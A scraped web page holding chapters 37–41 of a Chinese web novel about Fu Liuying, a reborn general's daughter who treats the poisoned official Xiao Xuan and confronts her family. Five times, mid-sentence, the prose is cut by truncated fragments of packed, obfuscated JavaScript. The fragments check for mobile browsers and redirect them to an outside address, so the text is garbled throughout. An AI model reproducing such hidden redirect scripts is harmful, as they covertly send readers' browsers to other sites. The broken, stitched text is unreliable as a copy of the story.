“待会儿祠堂里的蒲团可是硬木的，跪一天，膝盖都会疼痛难忍，更别说足足跪上一个月，那膝盖会废的。” 傅明雪身子一僵，眼中的恨意几乎要化为实质。 傅流萤却已转身，裙摆飞扬间带起一阵冷香。 傅莽铁青着脸大步离去，柳飞燕扶着额头被容佩搀走，只剩下傅凛还站在原地，拳头捏得咯咯作响。 “傅流萤！”他猛地冲上前，眼底充满了愤怒，“你非要这样羞辱明雪才甘心吗？你的心怎么那么毒那么狠？” 傅流萤不紧不慢地倒了杯茶，氤氲的热气模糊了她眼底的冷意。 “三哥，你说这话好没道理，方才要搜我院子时，怎么不见你为我说半句话？到底谁才是你的亲妹妹？” 傅流萤说着忽的轻笑了一声，“是不是在三哥眼里亲妹妹比不上情妹妹？” “你胡说八道什么？”傅凛下意识的反驳可是眼底的心虚却怎么都掩饰不住。 傅流萤将他眼底的情绪不动声色的看在眼中。 心中已经了然。 原来傅凛喜欢的人是傅明雪啊。 前世她一直以为傅凛对傅明雪只有妹妹的疼爱。 现在看来并非如此。 原来他一直藏着自己的心思啊。 难怪前世都没有成亲。 “我是不是胡说，三哥心里跟明镜似的，那枚香囊被明雪妹妹好好的收着，要说你们没有私情，传出去谁又会信呢？” 傅凛语塞，随即恼羞成怒，“谁知道你用了什么妖法！那香囊明明……” “明明什么？”傅流萤突然抬起头，直勾勾的盯着他，眼底寒光乍现，“三哥是想说，那香囊不该从妹妹怀里掉出来？还是想说……你们之间当真有什么见不得人的地方？” “放屁。”傅凛气的面红耳赤，扬起手就要打下来。 傅流萤不躲不闪，反而仰起脸迎上去。 “打啊，让全府都看看，傅家三公子是如何为了个养女，对亲妹妹动手的。 傅凛的手僵在半空，额头渗出冷汗。 他忽然发现，这个从小被他们忽视的妹妹，不知何时已变得如此陌生。 那双眼里的锋芒，竟让他心底发寒。 接二连三的在傅流萤的手下吃了暗亏，傅凛的心里又急又怕。 “傅流萤，你给我等着我不会放过你的。” 这种话傅流萤都要听腻了。 她实在不想和傅凛再浪费时间。 “滚出去。”傅流萤冷冷道。 傅凛当然不愿意，“你让我滚我就滚，我的面子往哪放？” “否则明日满京城都会知道，傅三公子私赠香囊给养妹的事……” 傅凛脸色由红转白，最终咬牙切齿地摔门而去。 待脚步声彻底消失，傅流萤立刻锁上门，她快步走到窗前，轻叩三下窗棂。 “督主可以出来了。” 窗外传来一声轻笑，接着一道白影跳了进来。 萧玹落地时衣袂翻飞，宛若谪仙，哪还有半分**的虚弱模样。 “傅大小姐舌战群雄的本事，本督今日算是领教了。” 他似笑非笑地倚在窗边，月光为他镀上一层银边。 傅流萤抿了抿唇，淡淡的笑着，“比不督主神机妙算，不过督主怎么知道他们会来的？” 萧玹指尖把玩着一枚玉扣。 傅流萤认出来，这是傅凛身上的玉扣。 “你那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945628|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好妹妹一路尾随你回府，本督不过是将计就计。”他忽然眯起眼，“倒是你，那香囊……” “我提前准备的。”傅流萤很坦然，“傅明雪虽然没有偷藏傅凛东西的习惯，可是傅凛却送了不少小玩意给她，香囊发钗发簪，数不胜数，恐怕傅凛都忘了送过什么式样的。” 萧玹的瞳孔微缩，随即低笑起来。 “有意思。本督明白，为何太后会青睐你了。” 话音未落，他忽然闷哼一声，脸色瞬间惨白。 一缕黑血从唇角溢出，在月光下显得格外刺目。 “督主！”傅流萤箭步上前扶住他摇晃的身躯。 触手一片冰凉，傅流萤的心头猛跳。 “不是已经服过解药了吗？怎么会……” 傅流萤紧紧的锁着眉。 那解药是她亲自配制的。 吃下去虽然不至于立马清除体内毒素，但是肯定不会再次毒发。 萧玹重重跌坐在榻上，呼吸急促起来。 傅流萤顾不得许多，一把扣住他的手腕。 他的肌肤冰冷，就像是三九天里的冰霜，触之，便能感觉到浓浓的寒意。 她仔细的搭着脉，萧玹脉搏紊乱如鼓，时缓时急，这绝非寻常毒发的症状。 “别动。”她迅速从枕下取出银针包，“我需要立刻施针，为督主排出毒血。” 萧玹眼神已经有些涣散，却仍强撑着冷笑：“傅大小姐还会施针，可真是深藏不露啊……” 见萧玹现在还在说笑，傅流萤也急了，此毒物霸道汹涌，若是不及时治疗，很可能会丧命。 她可没有心情和萧玹说笑。 “闭嘴，督主要是还想活命，那就乖乖听我的，否则我也没有办法保住你的性命。” “本督这辈子最讨厌的就是受人威胁，傅流萤，你好大的胆子。” 傅流萤不想听他废话，直接用手帕堵住了萧玹的嘴。 平日里受惯了萧玹的冷嘲热讽，一张口就冷的要冻住人的语调，傅流萤现在可算是找到了报仇的机会。 现在萧玹要依仗她的医术才能活，可不得乖乖听话。 第三十七章 阎罗王 想到这里傅流萤的嘴角勾起了一抹恶劣的笑。 “督主还是省点力气吧。” 说着，傅流萤直接撕开他的前襟，露出了他苍白的胸膛。 只见心口处隐约浮现一道道诡异的青紫色纹路，如蛛网般向四周蔓延。 这是…… 傅流萤的瞳孔微缩。 这是西域“阎罗王”。 为何叫阎罗王，就是因为中了这毒，犹如见了阎罗王。 傅流萤的眉心紧皱，这毒为什么会在萧玹的身上？ 这种毒明明已经绝迹中原十余年…… 她还是在一本古老的医书上看到的。 “督主何时中的这毒？”傅流萤急声问道，手中银针已精准刺入他心口要穴。 萧玹闷哼一声，冷汗涔涔而下。 “十年……前……”他咬牙挤出几个字。 随后抬头冷冷的看着傅流萤，眼底的冷意蔓延，“你认得？” 傅流萤没有回答，全神贯注地施针。 纤细的银针在她指尖仿佛有了生命，沿着筋络的穴位依次刺入。 “有点疼，忍着点。” 随着傅流萤的动作，萧玹胸前的青紫纹路竟开始缓缓消退。 “别运功。”傅流萤低声警告，另一只一手按住他试图凝聚内力的手腕。 “这毒遇强则强，你越压制，它反噬得越厉害。” 萧玹抬眸，怔怔的看着她近在咫尺的侧脸。 少女专注时睫毛轻颤，长长的眼睫毛在眼下投下一片阴影，完美地遮住了她眼底的情绪。 她身上有淡淡的药香，闻着很好闻，与寻常闺阁女子的脂粉气截然不同。 “为什么……”萧玹忽然开口，“你会解西域奇毒？” 傅流萤手下一顿，随即继续施针。 “督主现在该关心的不是这个。”傅流萤不想解释太多，每个人都有秘密，萧玹对她不是百分百信任，她自然也不会和盘托出。 而且…… 傅流萤垂了垂眸子，轻描淡写地带过，“昨夜中的毒与这阎罗王相冲，才会突然发作，再忍忍，很快就好。” 最后一针落下，傅流萤感觉拿出一个杯子，递到了萧玹的嘴边。 萧玹猛地吐出一口黑血。 借着烛火，只见血中竟有细小的虫卵状物在蠕动。 “果然是蛊毒。”她面色凝重，“督主这些年，每月十五是否都会心口剧痛？” 萧玹眸光一凛，“你连这个都知道？” 他的眸光紧紧的盯着傅流萤，眼里只有无尽的冰冷。 可能是吐出了黑血，萧玹恢复了一些力气。 他伸手冰凉修长的五指掐住了傅流萤的脖子。 “说，你还知道些什么？” 可能被经常掐，傅流萤都已经快要被掐习惯了。 所以她面不改色。 只是抬头淡淡的看着萧玹嘴角勾起一抹若有若无的笑意，“督主就是这样对待自己的救命恩人的吗？” “难道傅大小姐是第一天知道我的为人么？”萧玹反问他手上的力道却没有减少。 他看着傅流萤的眼中始终带着怀疑。 这个女人还真是让人意外啊。 就连白轻尘都没有办法的阎罗王，傅流萤居然能有解毒之法。 她和那伙人会不会有关系？ 萧玹的眸色渐深。 十年前，傅流萤也才是个几岁的孩子。 会不会从一早起，她就不是傅家的大小姐？ 而是从小就被调包了。 萧玹的眸色忽明忽暗。 傅流萤也不生气，完全无视萧玹的打量，取出一个小瓷瓶，倒出三粒朱红色药丸。 “含在舌下，不要咽下，此毒已入心脉，需慢慢化解。” 萧玹接过药丸，却迟迟不放入口中。他审视着眼前这个谜一样的女子，忽然笑了，可笑意并没有直达眼底，眼中始终朦胧着一层冰霜之色。 “傅流萤，你到底是什么人？” 月光透过窗纱，在两人之间洒下斑驳光影。 傅流萤收针的手微微一顿，抬眼时，眼底仿佛镶嵌着整片星辰。 “那督主又是什么人呢？”她轻声反问，傅流萤直勾勾的看着萧玹的眸子，声音很轻，“权倾朝野的九千岁，为何会中这种西域皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945629|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 室秘传的蛊毒？” 空气瞬间凝固。 萧玹眼底闪过一丝杀意，掐住她喉咙的手紧了紧。 傅流萤依旧没有反抗，甚至脸上没有任何的表情。 “你知道的太多了。“”他声音轻柔得可怕。 傅流萤忽然笑了。 她缓缓抬手，指尖轻轻划过萧玹腕间一道陈年伤疤。 “这道疤，是漠北弯刀所留吧？这伤疤的形状，还有深浅，和中原惯用的刀刃有很大不同，只有漠北弯刀才能留下这独特的弧度，我听说十年前漠北王庭叛乱，恰好有一支中原商队恰好路过……” 萧玹瞳孔骤缩，严谨迸发出强烈的杀意。 傅流萤知道的太多了。 他不敢赌。 “督主放心。”傅流萤趁机退开半步，声音轻若耳语，“流萤与督主，从来都是一条船上的人。” 说着傅流萤握住了萧玹的手轻轻的抚上那道伤疤。 她的眼中带着浓浓的伤痛。 “当时的督主也才十岁左右吧，这么深的伤，当时督主一定很疼吧。” 她眼中的神情不似作假，萧玹看了她半晌才缓缓的松开了手。 傅流萤摸了摸被掐的脖子。 她转身去取药箱，背影纤细，却感觉不出一丝的柔弱。 萧玹望着她的身影，眼底暗潮汹涌。 方才她指尖触碰伤疤的瞬间，他竟感到一阵莫名的颤栗。 傅流萤……不管你是人是鬼，我一定要撕下你的真面目看看你到底是谁。 “这药……”萧玹终是将朱红药丸含入口中，顿时一股清凉之意直冲灵台，压制了翻涌的痛楚。 “暂时压制而已。”傅流萤背对着他捣药，声音有些闷，“要彻底解毒，没有那么简单，这毒已在督主的体内十余年之久，早就已经深入骨髓。” “而且想要解毒还需要数十味极为珍贵的药材，光是这雪魄莲，就十分难找，更别说其他药材。” 萧玹眸光微动：“雪魄莲生长在极北雪山，十年一开花。” “不错。”傅流萤转身，“下个月就是雪魄莲的开花期，若是幸运的话……” 第三十八章 想要她跪在脚下 傅流萤的话虽然没有说完，但是萧玹已然明白了她的意思。 两个人都心照不宣的没有再提。 月光如水。 芳华院的院子里莫名的染上了一层的冷意。 傅流萤将最后一根银针收入布包，抬眸看了眼倚在床头的萧玹。 “督主暂且歇着，我去熬药。” 她的声音很轻，可落在人的心头却能让人的心微微荡漾。 萧玹微微眯起眼，看着她的背影消失在门外。 院子里，傅流萤点燃了小炉，从药箱中取出几味药材。 她的动作很熟练，仿佛做过千百次。 药罐里的水渐渐沸腾，苦涩的药香在夜色中弥漫开来。 “傅大小姐倒是熟门熟路。” 一道冷冽的声音突然在身后响起。 傅流萤手上一顿，却没有回头。 “督主既然**受伤，就该好好躺着，出来做什么？”傅流萤继续往药罐里添加药材，声音平静。 不同药性的药材对时间的要求不同，煮的太短药性散发不出来煮的太久又会失了药性。 所以傅流萤必须得看着时间，精准投入。 萧玹缓步走到她身旁，月光下他的脸色依旧苍白，但是那一双冰冷的眼睛在月光的折射下却亮的惊人。 “本督怕你给我下毒。”萧玹的唇角勾起一抹冷笑，“看着你，本督才放心。” 傅流萤闻言，轻笑一声，“督主多虑了。若我真想害你，方才施针时大可以一针了结了你，何必费这些功夫？” “伶牙俐齿。”萧玹冷哼一声，“傅大小姐就不怕本督现在就杀了你？” 药罐里的水咕嘟咕嘟冒着泡。 傅流萤用木勺轻轻搅动。 她侧过脸，月光在她精致的轮廓上镀了一层银边。 萧玹的目光落在了她精致的侧脸上，能够看到她卷翘的眼睫毛还有如羊脂玉一般小巧的鼻子。 “怕啊。”傅流萤的嘴上虽然说怕，可语气轻快，仿佛在说一件无关紧要的事。 “但现在督主的性命可捏在我手里。若哪天我惹得督主不高兴，督主要杀我……” 她突然凑近萧玹，近到能闻到他身上淡淡的血腥气。 “那流萤也只能自甘认命，不过黄泉路上有督主相陪，流萤也不算寂寞了。” 萧玹眸色一沉，猛地扣住她的手腕，“你……” 突如其来的痛感，痛得傅流萤皱紧了眉心。 这萧玹还真是阴晴不定，动不动就发火，是不是有狂躁症！ 傅流萤在心里翻了一个白眼。 “小姐。” 一声惊呼打断了两人。 春芽抱着柴火站在院门口，身后还跟着几个丫鬟，全都瞪大了眼睛看着这一幕。 萧玹迅速松开手，退后一步，脸上恢复了惯常的冷漠。 “小姐，您肩膀上有伤，怎么能做这些粗活？”春芽快步走过来，看到傅流萤肩头渗血的绷带，心疼得直跺脚，“这些交给奴婢们就好。” 傅流萤摇摇头，“这些药火候难掌握，我自己来，你们先回去歇着吧。” “可是小姐……”春芽还想说什么，目光却触及到站在一旁的萧玹，顿时噤若寒蝉。 这九千岁的目光也太吓人了吧。 一个眼神过来，她就感觉小命不保了。 “去吧，你们都退下休息吧。”傅流萤淡淡开口。 四个丫鬟面面相觑，最终只能行礼退下。 春芽临走前还担忧地看了傅流萤一眼，却被萧玹一个眼神吓得赶紧低头离开。 院子里又恢复了寂静，只剩下药罐沸腾的声音。 萧玹站在一旁，目光复杂地看着傅流萤熟练地控制着火候。 月光下，她额前的碎发被汗水打湿，贴在白皙的肌肤上。 肩膀上的伤显然有时候限制了她的行动，但傅流萤却连眉头都没皱一下。 “你到底是什么人？”萧玹突然开口，声音低沉，“傅家嫡女从小养在深闺，就算能从医书上学到一些医术，识得药材，可是这熬药的习惯，可不是一朝一夕光从书上就能学到的。” 他让残风调查过傅流萤。 但是并没有查到任何的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945630|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妥之处。 而现在，傅流萤的一举一动都很可疑。 傅流萤手中的木勺微微一顿，随即若无其事地继续搅拌，“督主不是查过我吗？我是什么人，督主应该最清楚。” “本督查到的傅流萤，胆小怯懦，不通武艺，更不懂医术。”萧玹逼近一步，“而你……” 他伸手捏住她的下巴，强迫她抬头，“身手不凡，医术精湛，连西域奇毒都认得。你到底是谁？” 傅流萤望进他漆黑的眸子，忽然笑了，“督主怕我是别人派来的细作？” “不是没有可能。” “那督主现在杀了我啊。”她挑衅般地扬起下巴，“趁我受伤，正是好时机。” 傅流萤的眼底盛着月光，那双好看清亮的眸子像是镶嵌了整片的星辰。 从来都没有人敢挑衅他。 萧玹的手指收紧，却在看到她肩上渗出的血迹时莫名松了力道。 “你以为本督不敢？” “督主有什么不敢的？”傅流萤轻笑，“只不过杀了我，督主的毒可就没人能解了。” 萧玹没有说话只是望着她那双璀璨的眼眸，忽然很想把她那双眼睛抠下来。 “天下之大，能人异士那么多，傅流萤，不要总觉得你是唯一，可以挑战本督的耐心。” “流萤从不觉得自己是唯一，不过如果督主这些年真的能找到治疗你蛊毒的人，也不至于这么多年毒性只能压制。” 傅流萤直勾勾的看着萧玹，眼底没有任何的畏惧。 她的心里很清楚，萧玹是和她一样的人。 两个人都无比的惜命，既然如此，萧玹就不会拿自己的性命开玩笑。 所以傅流萤根本就不怕。 “督主说的当然有道理，天下能人异士这么多，但是流萤敢保证这世界上能解督主之毒的人，一只手都数得过来，督主不敢拿自己的命去赌。” 月光下，傅流萤的那双眼睛发亮。 萧玹很讨厌傅流萤这副自信的样子。 他很想把她的假面撕下来，很想傅流萤能跪在他的脚边，苦苦的哀求他。 第三十九章 只想求个自保而已 萧玹捏住了傅流萤的下巴，微凉的大拇指轻轻的划过她的嘴角。 “傅流萤，你很聪明。” 傅流萤笑意盈盈，仿佛没有听出萧玹话语里的嘲讽。 “多谢督主夸奖，流萤愧不敢当。” 萧玹冷哼了一声，松开了傅流萤。 可他那双锐利的眼眸自始至终都盯着傅流萤，没有半分离开过。 傅流萤继续熬药，仿佛刚才的一切没有发生过。 药罐里的药汁渐渐浓稠，傅流萤将药汁倒入碗中。 黑褐色的液体散发着苦涩的气息，她小心地吹了吹，递给萧玹。 “趁热喝，效果最好。” 萧玹看着她吹药的动作，深色的眸子里忽然出现了一抹异色。 转瞬即逝。 萧玹没有接，只是冷冷地看着她。 傅流萤叹了口，“督主若不信，我可以先尝一口。” 说着，她就要将碗送到嘴边。 萧玹却突然夺过药碗，一饮而尽。 “咳咳……”强烈的苦涩让他忍不住咳嗽，眉头紧锁。 傅流萤眼中闪过一丝笑意：“督主倒是爽快。” “少废话。”萧玹擦了擦嘴角，“这药要喝多久？” “至少一年。”傅流萤收起笑容，正色道，“阎罗王之毒已深入督主心脉，不是一朝一夕能解的，而且……” 她犹豫了一下，“解毒过程中，督主每月十五的疼痛会加剧。” 萧玹眸光一凛，“你知道的还真不少。” “略通医术而已。”傅流萤转身收拾药罐。 萧玹看着她忙碌的背影，忽然问道：“为什么要救我？“ 傅流萤的动作顿了一下，没有回头，我说过了，我与督主荣辱与共。” “就因为这个？” “不然呢？”她转过身，看着萧玹眼底的复杂神色，倒是有些看不懂了。 傅流萤的眼中透着一丝迟疑，“不然督主以为是什么？” 月光下，两人的目光在空中交汇，谁都没有移开。 萧玹忽然上前一步，高大的身影将她完全笼罩。 他低头，薄唇几乎贴在她耳边，“傅流萤，别以为救了本督，就能得到什么。本督最讨厌被人要挟。” 他温热的呼吸喷洒在她耳畔，带着药草的苦涩。 傅流萤却丝毫不退，反而仰起脸，近到能数清他的睫毛。 “督主多虑了。”她轻声说，“流萤别无所求，只求自保而已。” “自保？”萧玹就像是听到了好笑的笑话一般，“以你的本事，需要依附本督？” 这一身好武功，还有这么一手出神入化的医术，走到哪里傅流萤都有人追着捧着。 何须在他的面前伏小做低费力讨好。 如若不是别有所求那又会为了什么？ 萧玹眼中的冷意逐渐蔓延直至凝结成冰霜之色。 “在这京城，谁不需要靠山？”傅流萤退后一步，拉开两人距离，“督主位高权重，正是最好的靠山。” 萧玹盯着她看了许久，忽然转身，“明日会有人送药材来。” “多谢督主。”傅流萤行了一礼，“不过雪魄莲……” “本督自有办法。”萧玹头也不回，身影渐渐融入夜色。 傅流萤站在原地，嘴角微勾，淡淡的笑了笑，“那我就祝督主能够采得雪魄莲。” 她看着他的背影消失，才长长舒了一口气。 肩上的伤口隐隐作痛，她轻轻按了按，眉头微蹙。 “小姐……”春芽不知何时又回来了，小心翼翼地扶住她，“您没事吧？” “没事。”傅流萤摇摇头，“扶我回房吧。” 春芽搀着她往回走，忍不住小声问，“小姐，九千岁他也太过分了，小姐你为了他受伤，还亲自给他熬药，九千岁居然还想杀了小姐。” “不该说的别说，你有几个胆子敢背后议论九千岁。”傅流萤打断她，声音很轻却很冷。 “奴婢知道了以后再也不敢多言了。” 回到房中，傅流萤让春芽退下，她坐在梳妆台前，慢慢解开肩上的绷带。 伤口不深，但很长，血肉翻卷的样子有些狰狞。 她咬着唇，自己上了药，重新包扎好。 镜中的女子面色苍白，却有一双异常明亮的眼睛。 “萧玹。”她轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958568|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声念着这个名字。”与虎谋皮纵然不会有好下场，但是我傅流萤偏偏要训得你这只猛虎成为我身下的坐骑。” 窗外，月亮被乌云遮住，夜色更深了。 傅流萤脱去了外衣，卸下了珠钗，和衣躺在了床上。 在睡梦中，她似乎又回到了那个阴暗潮湿的地牢。 耳边传来傅明雪的声音。 “姐姐，你以为装死就有用吗？”傅明雪甜腻的声音在耳边响起，伴随而来的是鞭子抽在皮肉上的脆响。 火辣辣的疼痛从四肢百骸传来，傅流萤想要挣扎，却发现自己的手脚被铁链牢牢锁住，动弹不得。 铁链已经锁了她整整十年。 她的手脚都已经被磨破结痂，又再次被磨破，血肉模糊。 “瞧瞧这张脸，多漂亮啊。”傅明雪拿着冰凉的**贴上她的脸颊。 她的笑声如同毒蛇吐信，“可惜从今往后，再也不会有人认得出你了。” 她用**一刀一刀划着傅流萤的脸。 鲜血顺着刀刃流下来。 刀刃划破皮肤的痛楚让傅流萤猛地睁开眼睛，冷汗浸透了里衣。 她急促地喘息着，手指紧紧攥住被褥，直到关节发白。 窗外，天刚蒙蒙亮。 原来是一场梦。 可这梦也太真实了。 让傅流萤不由的又想到了前世发生的事情。 十年的禁锢折磨恍如隔日。 傅流萤的眼底闪过一丝冷意。 “小姐，您醒了？” 春芽听见动静，轻手轻脚地推门进来，手里端着铜盆，“可是伤口又疼了？” 傅流萤抬头看到春芽眼底的担心，神情缓和了一些。 她缓缓松开攥紧的拳头，摇了摇头。 肩上的伤确实隐隐作痛，但比起梦中经历的痛苦，这点伤痛简直微不足道。 “大小姐，听说夫人老爷昨夜吵到三更天。”春芽一边伺候她梳洗，一边低声道，“好像是因为三少爷和明雪小姐的事。” “老爷说夫人掌了这么多年的家，却在眼皮子底下发生兄妹私相授受，私藏香囊的事情，是夫人管家不严，教子无方。” 第四十章 被打了一个巴掌 傅流萤嘴角勾起一抹冷笑。 “夫人却说将军常年征战在外，对儿女疏于照料管理，所以才会发生这样的事情，两个人昨天晚上闹腾的很，听说气急之下将军还打了夫人一巴掌。” 傅流萤听着笑了。 傅莽就是这样一个唯利是图的人。 只要没有触及到他的利益，他当然可以装得很大度。 可一旦触及到他的利益危害到他的名声，他便立马可以舍弃所有人。 前世的她是这样。 这一世又会是谁变成前世的她呢？ 傅流萤的嘴角勾起的嘲讽弧度越来越深。 眼底的冷意蔓延着。 傅凛和傅明雪那点见不得人的心思，前世她到死都没看透，如今倒是成了她手中的把柄。 傅莽最在乎的就是他的名声。 有这两个人在，往后这傅府里可有的热闹了。 “祠堂那边如何？” “回小姐，傅明雪跪了一夜，今早容佩姑姑偷偷送了软垫过去，被老爷发现，连人带垫子一起轰出来了。” 春芽说着，忍不住掩嘴轻笑。 她们以前虽然是傅明雪的丫鬟，以往傅明雪欺负她们，对她们动辄打骂，她们是丫鬟的身份没有办法只能逆来顺受。 所以她们对傅明雪也没有多大的主仆之情。 傅流萤正要说话，忽听院外传来一阵脚步声。 她眼神一凛，春芽立刻会意，快步出去查看。 “小姐，夫人带着容佩姑姑来了，已经到院门口了。” 果然来了。 她就知道，她的这位好母亲肯定舍不得傅明雪在祠堂里跪着受苦。 傅流萤心中冷笑，慢条斯理地整理着衣袖。 柳飞燕最是心疼傅明雪，如今宝贝养女在祠堂受苦，她这个做母亲的怎能坐得住？ “流萤，我的儿……”人未至，傅流萤先听到了声音。 柳飞燕带着哭腔的声音从门外传来。 傅流萤抬眼望去，只见柳飞燕一身素色衣裙，眼圈通红。 她的左脸颊上隐约可见一个模糊的巴掌印，即使涂了厚重的胭脂水粉都有些遮挡不住。 看来昨天晚上，傅莽那一巴掌打的挺狠啊。 好歹夫妻恩爱了二三十年，傅莽居然也下得去手。 啧啧啧。 果然是一个自私自利，凉薄负心的人。 傅流萤摇了摇头。 看着柳飞燕在容佩的搀扶下颤巍巍地走进来，活像受了天大的委屈。 “母亲这是怎么了？” 傅流萤端坐不动，语气平淡得仿佛在谈论今日的天气。 柳飞燕见她这副冷淡模样，眼中闪过一丝不悦。 都怪傅流萤。 如果不是这个不孝女，府上怎么会发生这么多的事情。 如若不是她昨天翻出那枚香囊，她又怎么会被将军打一巴掌。 到现在，她都感觉脸上火辣辣的疼呢。 这一切都是被傅流萤所害。 柳飞燕皱着眉，心里有些怨恨。 是想到还在祠堂里受苦的傅明雪，她很快又换上哀戚的表情，“流萤，明雪她……她在祠堂跪了一整夜，膝盖都肿了，今早又染了风寒，嗓子哑得说不出话来……” 傅流萤端起了面前的茶杯，吹了吹茶杯里漂浮的茶叶，连眼皮都没抬一下，“母亲若是心疼，大可去求父亲开恩，与我说这些做什么？” 柳飞燕被噎得一怔，傅莽要是答应，她还来求傅流萤做什么？ 现在谁不知道，她手握太后娘娘的令牌威风的很。 就连傅莽都数次在她的手上吃了暗亏。 柳飞燕随即泪如雨下，“你父亲正在气头上，哪里听得进我的话？流萤，你就看在明雪是你妹妹的份上，饶了她这一回吧！” “妹妹？”傅流萤终于抬起头，眼中寒光乍现，“她带着父亲来我院中搜人的时候，可曾想过我是她姐姐？” 柳飞燕被她锐利的目光刺得一颤，下意识地后退半步。 容佩见状，连忙上前打圆场，“大小姐，夫人今早特意让人炖了血燕，一直用小火煨着，就等着给您送来呢。” 说着，她从食盒中取出一盏精致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“因为您的心思全在傅明雪身上，她咳嗽一声，您就彻夜不眠地守着，她手指割破一点皮，您就心疼得直掉眼泪而我呢？我被傅明雪推下水，您却怪我自己不小心！” 傅流萤本不想再提及这些伤心的过往，可是她放不下也无法忘记。 第四十一章 小不忍则乱大谋 过往的经历就像是刻在她心上的一道道伤疤，永远也无法抹除也无法再愈合。 “不……不是这样的……”柳飞燕慌乱地摇头，说话都有些语无伦次，“娘对你和明雪都是一样疼爱的……” “一样疼爱？”傅流萤就像是听到了好笑的笑话一般，冷笑了一声，猛地掀开自己的衣袖，露出手臂上狰狞的伤疤，“那这是什么？去年傅明雪用滚烫的茶水泼我，你却说她是无心之失！” 柳飞燕看着那道伤疤，瞳孔骤缩。 她从未想过，平日里逆来顺受的女儿竟会将这些事记得一清二楚。 “流萤，过去是娘疏忽了……”柳飞燕伸手想拉她，却被冷冷避开，“但明雪毕竟是你妹妹，你就不能大度一些吗？” “大度？”傅流萤仿佛听到了天大的笑话，“好啊，那我现在就去告诉父亲，傅明雪和傅凛私相授受，看看父亲会不会也大度地原谅他们？” 柳飞燕闻言，脸色瞬间惨白如纸，“你……你不能这么做！这会毁了明雪的名节。” 傅莽现在最听不得的就是傅明雪和傅凛私相授受。 如果让他听到这类的话，他肯定又会大发雷霆。 想到昨天晚上傅莽发火的样子，柳飞燕的心里莫名的感到害怕。 她下意识的摸了摸左脸颊。 “原来母亲也知道名节重要。”傅流萤慢条斯理地整理着袖口，“那昨日他们污蔑我私藏男人时，怎么不见母亲为我说话？” 柳飞燕被她问得哑口无言，只能一个劲地流泪。 容佩看不下去了，插嘴道，“大小姐，夫人毕竟是您的亲生母亲，您这样未免太不孝了……” 她的话还没有说完，傅流萤直接站了起来，抬手一巴掌甩在了容佩的脸上。 啪的一声极为清脆响亮。 容佩捂着脸不敢置信的望着傅流萤。 傅流萤居然敢打她？ 就连傅明雪平日里都要尊称她一声嬷嬷。 “闭嘴！”傅流萤锐利的眼神扫过去，吓得容佩立刻噤声，“我们母女说话，轮不到你一个奴才插嘴！” 柳飞燕见软的不行，终于撕下了伪善的面具，开始破口大骂起来，毫无将军府夫人的仪态。 “傅流萤！你别以为有太后撑腰就能无法无天！我是你母亲，我要你去向老爷求情，你就必须去！” 傅流萤不慌不忙地从腰间取出太后赐予的令牌，在柳飞燕眼前晃了晃，“母亲要不要试试，看看是您这个将军夫人的话管用，还是太后娘娘的令牌管用？” 金光闪闪的令牌上，“慈宁宫”三个大字刺得柳飞燕眼睛生疼。 “难不成你现在还想拿太后娘娘来压我？”柳飞燕有些气急败坏了。 傅流萤微微挑眉，轻笑了一声，“女儿怎敢？只是提醒母亲，有些规矩不可废，有些身份需认清。” 她踉跄着后退两步，终于意识到眼前的人已经不再是那个任她拿捏的女儿了。 “你……你……”柳飞燕指着傅流萤，手指颤抖得厉害，“我怎么生出你这么个冷血无情的孽障！” 傅流萤微微一笑，“这就要问母亲自己了。” “不过我倒是坚信一句话，种什么因得什么果，我今日为何会变成这样，难道母亲不应该问问自己当初是怎么对我的吗？” 